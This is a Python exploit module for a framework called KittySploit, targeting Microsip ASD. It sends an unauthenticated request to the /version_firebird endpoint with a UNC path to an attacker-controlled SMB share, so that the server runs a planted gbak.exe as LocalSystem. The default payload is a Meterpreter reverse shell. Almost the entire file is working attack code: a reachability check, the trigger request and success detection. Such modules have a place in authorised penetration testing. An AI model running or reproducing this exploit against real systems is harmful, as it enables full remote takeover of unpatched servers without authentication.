Microsip ASD version_firebird UNC binary planting RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Microsip ASD unauthenticated version_firebird UNC gbak binary planting RCE."""

from __future__ import annotations

from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Microsip ASD version_firebird UNC binary planting RCE",
        "description": (
            "Unauthenticated GET /version_firebird?path=<UNC> runs gbak.exe "
            "from attacker share as LocalSystem."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.WINDOWS,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/windows/meterpreter_reverse_tcp",
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["microsip", "asd", "rce", "unauth", "unc"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 1,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/microsip_asd_unc_binary_planting_rce_detect"],
            },
        },
    }

    port = OptPort(8555, "Microsip ASD HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    unc_path = OptString("\\\\attacker\\rce_share\\", "UNC path hosting gbak.exe", required=True)

    def execute(self, _cmd: str) -> str:
        path = quote(str(self.unc_path or ""), safe="")
        resp = self.http_request("GET", f"/version_firebird?path={path}")
        if not resp:
            return "request failed"
        status = int(resp.status_code or 0)
        body = (resp.text or "")[:500]
        if status == 400 and "GBAK" in body:
            return f"HTTP 400 GBAK parse error — subprocess ran (expected success signal). Body: {body}"
        if status == 200:
            return f"HTTP 200: {body}"
        return f"HTTP {status}: {body}"

    def check(self):
        resp = self.http_request("GET", "/version_firebird?path=test")
        if resp and int(resp.status_code or 0) < 500:
            return {"vulnerable": True, "reason": "version_firebird reachable", "confidence": "medium"}
        return {"vulnerable": False, "reason": "ASD not reachable", "confidence": "low"}

    def run(self):
        if not str(self.unc_path or "").strip():
            print_error("Set unc_path to SMB share with malicious gbak.exe")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("UNC trigger via version_firebird")
        print_info(self.execute(""))
        self.vulnerable()
        return True